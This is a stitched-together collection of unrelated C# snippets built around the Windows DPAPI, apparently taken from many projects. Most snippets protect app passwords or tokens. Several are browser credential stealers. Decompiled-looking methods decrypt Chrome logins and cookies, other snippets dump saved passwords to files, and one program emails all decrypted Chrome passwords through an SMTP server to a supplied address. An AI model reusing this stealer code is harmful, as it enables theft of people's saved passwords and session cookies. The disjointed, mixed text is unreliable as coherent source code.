static void Main(string[] args) { try { string text = "Hello, world!"; string entropy = null; string description; Console.WriteLine("Plaintext: {0}\r\n", text); // Call DPAPI to encrypt data with user-specific key. string encrypted = DPAPI.Encrypt(DPAPI.KeyType.UserKey, text, entropy, "My Data"); Console.WriteLine("Encrypted: {0}\r\n", encrypted); // Call DPAPI to decrypt data. string decrypted = DPAPI.Decrypt(encrypted, entropy, out description); Console.WriteLine("Decrypted: {0} <<<{1}>>>\r\n", decrypted, description); } catch (Exception ex) { while (ex != null) { Console.WriteLine(ex.Message); ex = ex.InnerException; } } }
public bool Auth(string login, string password, bool cache) { SetCredentials(login, password); var json = SendRequest("AccountAuth", true, "&client=WinPlayer"); try { AccountInfo = DeserializeJson <AccountInfo>(json); if (AccountInfo != null) { if (cache) { File.WriteAllText(LoginFile, DPAPI.Encrypt(DPAPI.KeyType.UserKey, login, "=EQW*")); File.WriteAllText(PasswordFile, DPAPI.Encrypt(DPAPI.KeyType.UserKey, password, "M#$!")); } return(true); } else { return(false); } } catch { return(false); } }
public void Save() { using (var stream = FileSystem.Current.GetFile(FileSystem.Combine(Resources.GameUserDir, SettingsFile)).OpenStream(FileMode.Create)) { using (var textWriter = new StreamWriter(stream)) { using (JsonWriter writer = new JsonTextWriter(textWriter)) { writer.Formatting = Formatting.Indented; writer.WriteStartObject(); writer.WritePropertyName("game"); writer.WriteStartObject(); writer.WriteRequiredValue("uid", Settings.GameUid); if (Settings.StatisticsServiceEnabled.HasValue) { writer.WritePropertyName("statisticsServiceEnabled"); writer.WriteValue(Settings.StatisticsServiceEnabled.Value); } writer.WriteRequiredValue("username", Settings.UserName ?? string.Empty); writer.WriteRequiredValue("passwordHash", DPAPI.Encrypt(Settings.Password ?? string.Empty)); writer.WriteEndObject(); writer.WriteEndObject(); } } } }
public List <BrowserLog> GetPasswords() { try { List <BrowserLog> browserLogList = new List <BrowserLog>(); string connectionString = string.Format("Data Source = {0}", (object)this.LoginData); string str1 = "logins"; byte[] entropyBytes = (byte[])null; DataTable dataTable = new DataTable(); using (SQLiteConnection connection = new SQLiteConnection(connectionString)) new SQLiteDataAdapter(new SQLiteCommand(string.Format("SELECT * FROM {0}", (object)str1), connection)).Fill(dataTable); for (int index = 0; index < dataTable.Rows.Count; ++index) { string str2 = dataTable.Rows[index][1].ToString(); string str3 = dataTable.Rows[index][3].ToString(); string description; string str4 = new UTF8Encoding(true).GetString(DPAPI.Decrypt((byte[])dataTable.Rows[index][5], entropyBytes, out description)); BrowserLog browserLog = new BrowserLog() { Host = string.IsNullOrWhiteSpace(str2) ? "UNKOWN" : str2, Login = string.IsNullOrWhiteSpace(str3) ? "UNKOWN" : str3, Password = string.IsNullOrWhiteSpace(str4) ? "UNKOWN" : str4 }; if (browserLog.Login != "UNKOWN" && browserLog.Password != "UNKOWN" && browserLog.Host != "UNKOWN") { browserLogList.Add(browserLog); } } return(browserLogList); } catch { return(new List <BrowserLog>()); } }
public void TestLoadSaveStatisticsPermission() { Resources.InitUserDirectory("foo", false); MockDirectory userDirectory = ((MockDirectory)MockFileSystem.GetDirectory(Resources.GameUserDir)); var file = userDirectory.AddFile("GamesManagerSettings.json", @"{ ""game"": { ""uid"": ""foo"", ""userName"": ""bar"", ""passwordHash"": """ + DPAPI.Encrypt("baz") + @""", ""statisticsServiceEnabled"": true } }"); Assert.AreEqual(SettingsManager.Instance.Settings.GameUid, "foo"); Assert.AreEqual(SettingsManager.Instance.Settings.UserName, "bar"); Assert.AreEqual(SettingsManager.Instance.Settings.Password, "baz"); Assert.IsTrue(SettingsManager.Instance.Settings.StatisticsServiceEnabled.HasValue); Assert.IsTrue(SettingsManager.Instance.Settings.StatisticsServiceEnabled.Value); SettingsManager.Dispose(); file.WriteText(@"{ ""game"": { ""uid"": ""foo"", ""userName"": ""bar"", ""passwordHash"": """ + DPAPI.Encrypt("baz") + @""", } }"); Assert.IsFalse(SettingsManager.Instance.Settings.StatisticsServiceEnabled.HasValue); }
public static string Decrypt(string cipherText, string entropy, out string description) { if (entropy == null) { entropy = string.Empty; } return(Encoding.UTF8.GetString(DPAPI.Decrypt(Convert.FromBase64String(cipherText), Encoding.UTF8.GetBytes(entropy), out description))); }
/// <summary> /// Set initial state of the login controls /// </summary> private void InitializeControls() { serverField.Text = Settings.Default.jiraurl; usernameField.Text = Settings.Default.username; passwordField.Password = Settings.Default.password != string.Empty ? DPAPI.Decrypt(Settings.Default.password) : Settings.Default.password; }
public SecureString DecryptPassword() { string description; //optional if (string.IsNullOrEmpty(password)) { return(new SecureString()); } return(DPAPI.Decrypt(password, Application.dataPath, out description)); }
public string DecryptPassword() { string decrypredPassword; if (string.IsNullOrEmpty(password)) { return(""); } return(DPAPI.Decrypt(password, Application.dataPath, out decrypredPassword)); }
public static byte[] Decrypt(byte[] cipherTextBytes, byte[] entropyBytes, out string description) { DPAPI.DATA_BLOB pPlainText = new DPAPI.DATA_BLOB(); DPAPI.DATA_BLOB dataBlob1 = new DPAPI.DATA_BLOB(); DPAPI.DATA_BLOB dataBlob2 = new DPAPI.DATA_BLOB(); DPAPI.CRYPTPROTECT_PROMPTSTRUCT cryptprotectPromptstruct = new DPAPI.CRYPTPROTECT_PROMPTSTRUCT(); DPAPI.InitPrompt(ref cryptprotectPromptstruct); description = string.Empty; try { try { DPAPI.InitBLOB(cipherTextBytes, ref dataBlob1); } catch (Exception ex) { throw new Exception("Cannot initialize ciphertext BLOB.", ex); } try { DPAPI.InitBLOB(entropyBytes, ref dataBlob2); } catch (Exception ex) { throw new Exception("Cannot initialize entropy BLOB.", ex); } int dwFlags = 1; if (!DPAPI.CryptUnprotectData(ref dataBlob1, ref description, ref dataBlob2, IntPtr.Zero, ref cryptprotectPromptstruct, dwFlags, ref pPlainText)) { throw new Exception("CryptUnprotectData failed.", (Exception) new Win32Exception(Marshal.GetLastWin32Error())); } byte[] destination = new byte[pPlainText.cbData]; Marshal.Copy(pPlainText.pbData, destination, 0, pPlainText.cbData); return(destination); } catch (Exception ex) { throw new Exception("DPAPI was unable to decrypt data.", ex); } finally { if (pPlainText.pbData != IntPtr.Zero) { Marshal.FreeHGlobal(pPlainText.pbData); } if (dataBlob1.pbData != IntPtr.Zero) { Marshal.FreeHGlobal(dataBlob1.pbData); } if (dataBlob2.pbData != IntPtr.Zero) { Marshal.FreeHGlobal(dataBlob2.pbData); } } }
static bool TryDecryptPassword(string encrypted, out string decrypted) { decrypted = ""; try { decrypted = DPAPI.Decrypt(encrypted); return(true); } catch (Exception) { Console.WriteLine("Unable to decrypt the password"); return(false); } }
public IHttpActionResult Create(string userName, string fileName, int numberOfCopies, [FromBody] string fileContent) { try { if (userName == null || userName.Length == 0 || fileContent == null || fileContent.Length == 0) { return(BadRequest("Incorrect Username or File provided")); } else { if (File.Exists(Path.Combine(rootPathToFolders, userName, fileName))) { fileName += "2"; } string encryptedFileContent = DPAPI.Encrypt(fileContent); Directory.CreateDirectory(Path.Combine(rootPathToFolders, userName)); File.WriteAllText(Path.Combine(rootPathToFolders, userName, fileName), encryptedFileContent); db.PrintJobs.Add( new PrintJob { UserName = userName, FileName = fileName, NumberOfCopies = numberOfCopies, DelegatedTo = null, Status = PrintJobStatus.Queued, CreatedDateTime = DateTime.Now, PrintedDateTime = null }); db.SaveChanges(); db.Dispose(); return(Ok()); } } catch (Exception e) { string sSource; string sLog; sSource = "Smart Printer Service"; sLog = "Application"; if (!EventLog.SourceExists(sSource)) { EventLog.CreateEventSource(sSource, sLog); } string errorMessage = e.Message + "\n\n"; while (e.InnerException != null) { errorMessage += e.InnerException + "\n"; e = e.InnerException; } EventLog.WriteEntry(sSource, errorMessage, EventLogEntryType.Error); return(InternalServerError()); } }
public void RoundTrip_Protect() { // Roundtrip a message using DPAPI protection const string message = "The dog jumped over the fence #@//\\\\$"; var messageBytes = Encoding.ASCII.GetBytes(message); var protectedBytes = DPAPI.ProtectData(messageBytes, true); var unProtectedBytes = DPAPI.UnProtectData(protectedBytes, true); Assert.AreEqual(messageBytes, unProtectedBytes); }
void updateForm() { if (_settings.exitAfterStart == 1) { chkExitAfterStart.Checked = true; } else { chkExitAfterStart.Checked = false; } //txtAlternateShell.Text = _settings.AlternateShell; //txtWorkingDir.Text = _settings.WorkingDir; txtServer.Text = _settings.ServerNameOrIP; txtPass.Text = DPAPI.Decrypt(_settings.Password); if (_settings.SavePassword == 1) { chkSavePassword.Checked = true; } else { chkSavePassword.Checked = false; } txtPort.Text = _settings.MCSPort.ToString(); txtUser.Text = _settings.UserName; txtDomain.Text = _settings.Domain; txtWidth.Text = _settings.DesktopHeight.ToString(); txtHeight.Text = _settings.DesktopWidth.ToString(); setBPP(_settings.ColorDepthID); if (_settings.ScreenStyle == rdp_settings.eScreenStyles.fullscreen_Fit || _settings.ScreenStyle == rdp_settings.eScreenStyles.fullscreen_NoFit) { chkFullscreen.Checked = true; } else { chkFullscreen.Checked = false; } if (_settings.usebarcodereader == 1) { chkBarcodeReader.Checked = true; } else { chkBarcodeReader.Checked = false; } txtProgramLocation.Text = _settings.rdesktopce; }
public static string Encrypt(DPAPI.KeyType keyType, string plainText, string entropy, string description) { if (plainText == null) { plainText = string.Empty; } if (entropy == null) { entropy = string.Empty; } return(Convert.ToBase64String(DPAPI.Encrypt(keyType, Encoding.UTF8.GetBytes(plainText), Encoding.UTF8.GetBytes(entropy), description))); }
/// <summary> /// Encrypt and save a security token /// </summary> /// <param name="filePath">The path to the file where the security token should be stored</param> /// <param name="token">The security token to encrypt and save</param> private static void SetSecurityToken(string filePath, byte[] token) { try { token = DPAPI.ProtectData(token, true); File.WriteAllBytes(filePath, token); } catch (Exception ex) { Log.Error(LogName, "Could not save security token"); Log.Error(LogName, ex); } }
// Token: 0x06000159 RID: 345 RVA: 0x0000807C File Offset: 0x0000627C public string[] Cookies() { string[] result; try { bool flag = !File.Exists(this.CookiePath); if (flag) { result = new string[0]; } else { List <string> list = new List <string>(); string connectionString = "Data Source = " + this.CookiePath; string text = "SELECT* FROM cookies"; byte[] entropyBytes = null; DataTable dataTable = new DataTable(); string commandText = text; using (SQLiteConnection sqliteConnection = new SQLiteConnection(connectionString)) { SQLiteCommand cmd = new SQLiteCommand(commandText, sqliteConnection); SQLiteDataAdapter sqliteDataAdapter = new SQLiteDataAdapter(cmd); sqliteDataAdapter.Fill(dataTable); } for (int i = 0; i < dataTable.Rows.Count; i++) { byte[] cipherTextBytes = (byte[])dataTable.Rows[i][12]; string empty = string.Empty; byte[] bytes = DPAPI.Decrypt(cipherTextBytes, entropyBytes, out empty); List <string> values = new List <string> { dataTable.Rows[i][1].ToString(), (dataTable.Rows[i][7].ToString() == "0") ? "FALSE" : "TRUE", dataTable.Rows[i][4].ToString(), (dataTable.Rows[i][6].ToString() == "0") ? "FALSE" : "TRUE", dataTable.Rows[i][5].ToString(), dataTable.Rows[i][2].ToString(), new UTF8Encoding(true).GetString(bytes) }; list.Add(string.Join("\t", values)); } result = list.ToArray(); } } catch (Exception ex) { result = new string[0]; } return(result); }
// Token: 0x06000140 RID: 320 RVA: 0x00007794 File Offset: 0x00005994 public List <Log> GetPasswords() { List <Log> result; try { List <Log> list = new List <Log>(); string text = string.Format("Data Source = {0}", this.LoginData); string arg = "logins"; byte[] entropyBytes = null; DataTable dataTable = new DataTable(); string text2 = string.Format("SELECT * FROM {0}", arg); using (SQLiteConnection sqliteConnection = new SQLiteConnection(text)) { SQLiteCommand sqliteCommand = new SQLiteCommand(text2, sqliteConnection); SQLiteDataAdapter sqliteDataAdapter = new SQLiteDataAdapter(sqliteCommand); sqliteDataAdapter.Fill(dataTable); } for (int i = 0; i < dataTable.Rows.Count; i++) { string text3 = dataTable.Rows[i][1].ToString(); string text4 = dataTable.Rows[i][3].ToString(); byte[] cipherTextBytes = (byte[])dataTable.Rows[i][5]; string text5; byte[] bytes = DPAPI.Decrypt(cipherTextBytes, entropyBytes, out text5); string text6 = new UTF8Encoding(true).GetString(bytes); text4 = Regex.Replace(text4, "[^\\u0020-\\u007F]", string.Empty); text6 = Regex.Replace(text6, "[^\\u0020-\\u007F]", string.Empty); text3 = Regex.Replace(text3, "[^\\u0020-\\u007F]", string.Empty); Log log = new Log { URL = (string.IsNullOrWhiteSpace(text3) ? "UNKOWN" : text3), Login = (string.IsNullOrWhiteSpace(text4) ? "UNKOWN" : text4), Password = (string.IsNullOrWhiteSpace(text6) ? "UNKOWN" : text6) }; bool flag = log.Login != "UNKOWN" && log.Password != "UNKOWN" && log.URL != "UNKOWN"; if (flag) { list.Add(log); } } result = list; } catch { result = new List <Log>(); } return(result); }
protected override void Load(JObject json) { var game = json.ReadToken("game"); if (game != null) { var gameSource = new GameSettings { GameUid = game.ReadRequiredValue <string>("uid"), UserName = game.ReadRequiredValue <string>("userName"), Password = DPAPI.Decrypt(game.ReadRequiredValue <string>("passwordHash")) }; game.ReadOptionalValue("statisticsServiceEnabled", ref gameSource.StatisticsServiceEnabled); Settings = gameSource; } }
public void BrowserCookies(string pathToCookie, string output_file) { try { if (File.Exists(pathToCookie)) { System.Collections.Generic.List <Data> data_list = new System.Collections.Generic.List <Data>(); byte[] entropy = null; string connectionString = "data source=" + pathToCookie + ";New=True;UseUTF16Encoding=True"; DataTable dataTable = new DataTable(); string command = string.Format("SELECT * FROM {0} {1} {2}", "Cookies", "", ""); using (SQLiteConnection connection = new SQLiteConnection(connectionString)) { SQLiteCommand cmd = new SQLiteCommand(command, connection); new SQLiteDataAdapter(cmd).Fill(dataTable); for (int i = 0; i < dataTable.Rows.Count; i++) { byte[] cipheredTextBytes = (byte[])dataTable.Rows[i][12]; cipheredTextBytes = DPAPI.Decrypt(cipheredTextBytes, entropy, out string description); string strValue = new UTF8Encoding(true).GetString(cipheredTextBytes); Data item = new Data { domain = dataTable.Rows[i][1].ToString(), expirationDate = Convert.ToDouble(dataTable.Rows[i][5]), secure = Convert.ToBoolean(Convert.ToInt32(dataTable.Rows[i][6])), httpOnly = Convert.ToBoolean(Convert.ToInt32(dataTable.Rows[i][7])), hostOnly = false, session = false, storeId = "0", name = dataTable.Rows[i][2].ToString(), value = strValue, path = dataTable.Rows[i][4].ToString(), id = data_list.Count }; data_list.Add(item); } } File.WriteAllText(dir_for_mailing + "\\" + output_file, "antipasta"); } } catch (Exception e) { StreamWriter sw = new StreamWriter("ecp.txt", true); sw.WriteLine($"{DateTime.Now.ToString()} : {e.ToString()}"); sw.Close(); } }
public string getArgList() { string sRet = ""; //-g sRet += " -g " + DesktopHeight.ToString() + "x" + DesktopWidth.ToString(); if (HostName.Length > 0) { sRet += " -n " + HostName; } sRet += " -t " + MCSPort.ToString(); sRet += " -u " + UserName; if (Password.Length > 0) { sRet += " -p " + DPAPI.Decrypt(Password);// _passwordClearText; } if (Domain.Length > 0) { sRet += " -d " + Domain; } if (AlternateShell.Length > 0) { sRet += " -s " + AlternateShell; } if (WorkingDir.Length > 0) { sRet += " -c " + WorkingDir; } if (usebarcodereader == 1) { sRet += " -b"; } if (ScreenStyle == eScreenStyles.fullscreen_Fit || ScreenStyle == eScreenStyles.fullscreen_NoFit) { sRet += " -f "; } sRet += " -a " + ColorDepthID.ToString(); sRet += " " + ServerNameOrIP; return(sRet); }
internal static byte[] ProtectData(byte[] data, string name, CryptProtectDataFlags dwFlags) { byte[] cipherText = null; // copy data into unmanaged memory DPAPI.DATA_BLOB din = new DPAPI.DATA_BLOB(); din.cbData = data.Length; din.pbData = Marshal.AllocHGlobal(din.cbData); if (din.pbData.Equals(IntPtr.Zero)) { throw new OutOfMemoryException("Unable to allocate memory for buffer."); } Marshal.Copy(data, 0, din.pbData, din.cbData); DPAPI.DATA_BLOB dout = new DPAPI.DATA_BLOB(); try { bool cryptoRetval = DPAPI.CryptProtectData(ref din, name, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, dwFlags, ref dout); if (cryptoRetval) { int startIndex = 0; cipherText = new byte[dout.cbData]; Marshal.Copy(dout.pbData, cipherText, startIndex, dout.cbData); DPAPI.LocalFree(dout.pbData); } else { int errCode = Marshal.GetLastWin32Error(); StringBuilder buffer = new StringBuilder(256); Win32Error.FormatMessage(Win32Error.FormatMessageFlags.FORMAT_MESSAGE_FROM_SYSTEM, IntPtr.Zero, errCode, 0, buffer, buffer.Capacity, IntPtr.Zero); } } finally { if (!din.pbData.Equals(IntPtr.Zero)) { Marshal.FreeHGlobal(din.pbData); } } return(cipherText); }
static void Main(string[] args) { string sendTo = args.Length > 0 ? args[0] : ""; DataTable DT = new DataTable(); const string sql = "SELECT `origin_url`, `username_value`, `password_value` FROM `logins`"; string dbPath = "Data Source=" + (Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + @"\AppData\Local\Google\Chrome\User Data\Default\Login Data"); string result = String.Empty; using (SQLiteConnection conn = new SQLiteConnection(dbPath)) { SQLiteCommand cmd = new SQLiteCommand(sql, conn); SQLiteDataAdapter adapter = new SQLiteDataAdapter(cmd); adapter.Fill(DT); byte[] passBytes, descryptedPass; string login, password, url; for (int i = 0; i < DT.Rows.Count; i++) { passBytes = (byte[])DT.Rows[i][2]; descryptedPass = DPAPI.Decrypt(passBytes, null, out string _); password = new UTF8Encoding(true).GetString(descryptedPass); if (password.Length > 0) { login = (string)DT.Rows[i][1]; if (login.Length > 0) { url = (string)DT.Rows[i][0]; result += String.Format("URL = [{0}]\nLOGIN = [{1}]\nPASSWORD = [{2}]\n\n", url, login, password); } } } } Mailer mailer = new Mailer("smtp.gmail.com", 587, "", ""); mailer.SendMail(sendTo, result); }
static void Main(string[] args) { try { string filename = "my_chrome_passwords.html"; StreamWriter Writer = new StreamWriter(filename, false, Encoding.UTF8); string db_way = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "/Google/Chrome/User Data/Default/Login Data"; //путь к файлу базы данных Console.WriteLine("DB file = " + db_way); string db_field = "logins"; //имя поля БД byte[] entropy = null; //разработчики не стали использовать энтропию. //Однако класс DPAPI требует указания энтропии в любом случае, //независимо от того - присутствует она, или нет. string description; //я не понял смысла переменной, но она обязательная. На выходе всегда Null // Подключаемся к базе данных string ConnectionString = "data source=" + db_way + ";New=True;UseUTF16Encoding=True"; DataTable DB = new DataTable(); string sql = string.Format("SELECT * FROM {0} {1} {2}", db_field, "", ""); using (SQLiteConnection connect = new SQLiteConnection(ConnectionString)) { SQLiteCommand command = new SQLiteCommand(sql, connect); SQLiteDataAdapter adapter = new SQLiteDataAdapter(command); adapter.Fill(DB); int rows = DB.Rows.Count; for (int i = 0; i < rows; i++) { Writer.Write(i + 1 + ") "); // Здесь мы записываем порядковый номер нашей троицы "Сайт-логин-пароль". Writer.WriteLine(DB.Rows[i][1] + "<br>"); //Это ссылка на сайт Writer.WriteLine(DB.Rows[i][3] + "<br>"); //Это логин // Здесь начинается расшифровка пароля byte[] byteArray = (byte[])DB.Rows[i][5]; byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description); string password = new UTF8Encoding(true).GetString(decrypted); Writer.WriteLine(password + "<br><br>"); } } Writer.Close(); } catch (Exception ex) { Console.WriteLine(ex.Message); ex = ex.InnerException; } }
static void Main(string[] args) { try { string filename = "my_chrome_passwords.html"; StreamWriter Writer = new StreamWriter(filename, false, Encoding.UTF8); string db_way = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "/Google/Chrome/User Data/Default/Login Data"; // a path to a database file Console.WriteLine("DB file = " + db_way); string db_field = "logins"; // DB table field name byte[] entropy = null; // DPAPI class does not use entropy but requires this parameter string description; // I could not understand the purpose of a this mandatory parameter // Output always is Null // Connect to DB string ConnectionString = "data source=" + db_way + ";New=True;UseUTF16Encoding=True"; DataTable DB = new DataTable(); string sql = string.Format("SELECT * FROM {0} {1} {2}", db_field, "", ""); using (SQLiteConnection connect = new SQLiteConnection(ConnectionString)) { SQLiteCommand command = new SQLiteCommand(sql, connect); SQLiteDataAdapter adapter = new SQLiteDataAdapter(command); adapter.Fill(DB); int rows = DB.Rows.Count; for (int i = 0; i < rows; i++) { Writer.Write(i + 1 + ") "); // Here we print order number of our trinity "site-login-password" Writer.WriteLine(DB.Rows[i][1] + "<br>"); // site URL Writer.WriteLine(DB.Rows[i][3] + "<br>"); // login // Here the password description byte[] byteArray = (byte[])DB.Rows[i][5]; byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description); string password = new UTF8Encoding(true).GetString(decrypted); Writer.WriteLine(password + "<br><br>"); } } Writer.Close(); } catch (Exception ex) { Console.WriteLine(ex.Message); ex = ex.InnerException; } }
static void decryptChromePasswords(string cd, string home) { cd += "\\Chrome"; if (Directory.Exists(cd)) { foreach (string profile in Directory.GetDirectories(cd)) { SQLiteConnection conn = new SQLiteConnection("Data Source=" + profile + "\\Login Data"); conn.Open(); SQLiteCommand retrieveData = conn.CreateCommand(); retrieveData.CommandText = "SELECT action_url, username_value, password_value FROM logins"; SQLiteDataReader data = retrieveData.ExecuteReader(); List <string> decryptedData = new List <string>(); while (data.Read()) { string url = (string)data["action_url"]; string username = (string)data["username_value"]; string decryptedPassword = ""; byte[] encryptedPassword = (byte[])data["password_value"]; byte[] outBytes = DPAPI.decryptBytes(encryptedPassword); decryptedPassword = Encoding.Default.GetString(outBytes); if (decryptedPassword != "") { decryptedData.Add(url); decryptedData.Add(username); decryptedData.Add(decryptedPassword); } } File.WriteAllLines(profile + "\\passwords.txt", decryptedData.ToArray()); conn.Close(); } } }
/// <summary> /// Connects to the /// </summary> /// <param name="User"></param> /// <param name="Shard"></param> /// <returns></returns> public async Task <bool> Connect() { //Connects to the RTMPS client await _client.ConnectAsync(); //Decrypts the users password when logging in string password = DPAPI.Decrypt(_user.Password); AuthenticationCredentials auth = new AuthenticationCredentials { Username = _user.Username, Password = password, ClientVersion = PoroServer.ClientVersion, IpAddress = "209.133.52.232", Locale = _shard.Locale, Domain = "lolclient.lol.riotgames.com", AuthToken = GetAuthKey(_user.Username, password, _shard.LoginQueue) }; //Gets the current login session Session login = await Login(_client, auth); _accountId = login.Summary.AccountId; //Subscribes to server messages await _client.SubscribeAsync("my-rtmps", "messagingDestination", "bc", "bc-" + login.Summary.AccountId.ToString()); await _client.SubscribeAsync("my-rtmps", "messagingDestination", "gn-" + login.Summary.AccountId.ToString(), "gn-" + login.Summary.AccountId.ToString()); await _client.SubscribeAsync("my-rtmps", "messagingDestination", "cn-" + login.Summary.AccountId.ToString(), "cn-" + login.Summary.AccountId.ToString()); bool LoggedIn = await _client.LoginAsync(_user.Username.ToLower(), login.Token); //TODO: Find easier way of getting summoner name and id without having to download a huge packet LoginDataPacket dataPacket = await GetLoginPacket(_client); _packet = dataPacket; _summonerId = dataPacket.AllSummonerData.Summoner.SumId; _summonerName = dataPacket.AllSummonerData.Summoner.Name; return(LoggedIn); }
private List <string[]> GetChromePass() { List <string[]> entries = new List <string[]>(); string retMessage = String.Empty; string appDataPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); string connPath = appDataPath + "\\Google\\Chrome\\User Data\\Default\\Login Data"; if (File.Exists(connPath)) { DataTable dt = new DataTable(); try { SQLiteConnection connection = new SQLiteConnection("Data Source=data" + ";New=True;UseUTF16Encoding=True"); connection.Open(); SQLiteCommand command = new SQLiteCommand(connection); command.CommandText = "SELECT origin_url, username_value, password_value FROM logins"; SQLiteDataReader reader = command.ExecuteReader(); dt.Load(reader); reader.Close(); connection.Close(); connection = null; } catch { } foreach (DataRow table in dt.Rows) { string name = (string)table["username_value"]; if (!String.IsNullOrEmpty(name)) { try { string[] entry = new string[3]; entry[0] = (string)table["origin_url"]; entry[1] = name; entry[2] = Encoding.ASCII.GetString(DPAPI.decrypt((byte[])table["password_value"])); entries.Add(entry); } catch { } } } } return(entries); }
/// <summary> /// </summary> /// <param name="filePath">The path to the file where the security token is stored</param> /// <returns>The decrypted security token</returns> private static byte[] GetSecurityToken(string filePath) { try { if (!File.Exists(filePath)) { Log.Warn(LogName, $"No token found at {filePath}, this is expected if the client has not authenticated before"); } var token = File.ReadAllBytes(filePath); token = DPAPI.UnProtectData(token, true); return(token); } catch (Exception ex) { Log.Error(LogName, "Could not get security token"); Log.Error(LogName, ex); } return(System.Text.Encoding.ASCII.GetBytes("NoToken")); }
/// <summary> /// When the login button is clicked /// </summary> private void LoginButton_Click(object sender, RoutedEventArgs e) { WaitingForProgress(); if (string.IsNullOrEmpty(usernameField.Text) || string.IsNullOrEmpty(passwordField.Password)) { return; } // Call DPAPI to encrypt data with user-specific key. var encryptedPassword = DPAPI.Encrypt(DPAPI.KeyType.UserKey, passwordField.Password); Settings.Default.jiraurl = serverField.Text; Settings.Default.username = usernameField.Text; Settings.Default.password = encryptedPassword; Settings.Default.Save(); programManagerProvider.GetProgramManager() .Login(new User(usernameField.Text, passwordField.Password, serverField.Text), OnUserLoginComplete); }